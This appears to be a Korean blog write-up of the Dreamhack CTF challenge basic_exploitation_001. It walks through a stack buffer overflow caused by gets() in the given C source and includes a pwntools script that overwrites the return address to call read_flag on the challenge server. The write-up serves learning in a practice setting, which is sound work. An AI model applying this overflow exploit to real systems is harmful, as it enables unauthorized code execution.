Security/System Hacking
[System Hacking] Dreamhack - basic_exploitation_001 풀이
inyeong
2025. 1. 23. 04:12
basic_exploitation_001
Description 이 문제는 서버에서 작동하고 있는 서비스(basic_exploitation_001)의 바이너리와 소스 코드가 주어집니다. 프로그램의 취약점을 찾고 익스플로잇해 "flag" 파일을 읽으세요. "flag" 파일의 내용
dreamhack.io
문제 설명
서버에서 작동하고 있는 서비스(basic_exploitation_001)의 바이너리와 소스 코드가 주어진다.
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void read_flag() {
system("cat /flag");
}
int main(int argc, char *argv[]) {
char buf[0x80];
initialize();
gets(buf);
return 0;
}
프로그램의 취약점을 찾고 익스플로잇해 "flag" 파일을 읽어야 한다.
문제 풀이
# 1. 취약점 분석
void read_flag() {
system("cat /flag");
}
int main(int argc, char *argv[]) {
char buf[0x80];
initialize();
gets(buf);
return 0;
}
main() 함수를 살펴보면 크기가 0x80인 버퍼에 gets(buf)로 크기 제한 없이 입력 받고 있으므로 스택 버퍼 오버플로우가 발생할 수 있다.
read_flag() 함수를 실행하면 flag 파일의 내용을 읽을 수 있으므로, 반환 주소를 read_flag()의 주소로 overwrite하면 flag 값을 알아낼 수 있을 것이다.
# 2. 트리거 (trigger)

# 3. 스택 프레임 구조 파악
gdb를 이용해 main()의 어셈블리 코드에서 gets() 부분을 살펴본다.

lea eax, [ebp - 0x80]
버퍼는 ebp-0x80에 위치한다.
32비트 체제를 사용하고 있으므로 스택 프레임 구조는 다음과 같다.

# 4. 페이로드 구성
return address에 read_flag()의 주소를 덮어쓰면, 함수 종료 후 cat /flag가 실행될 것이다.

# 5. 익스플로잇 코드 작성
pwn 라이브러리를 사용해 아래와 같이 python 코드를 작성하고 실행하면 flag를 구할 수 있다.
exploit.py
from pwn import *
p = remote("host1.dreamhack.games", 9979)
read_flag = p32(0x080485b9)
payload = b"A"*132
payload += read_flag
p.sendline(payload)
p.interactive()
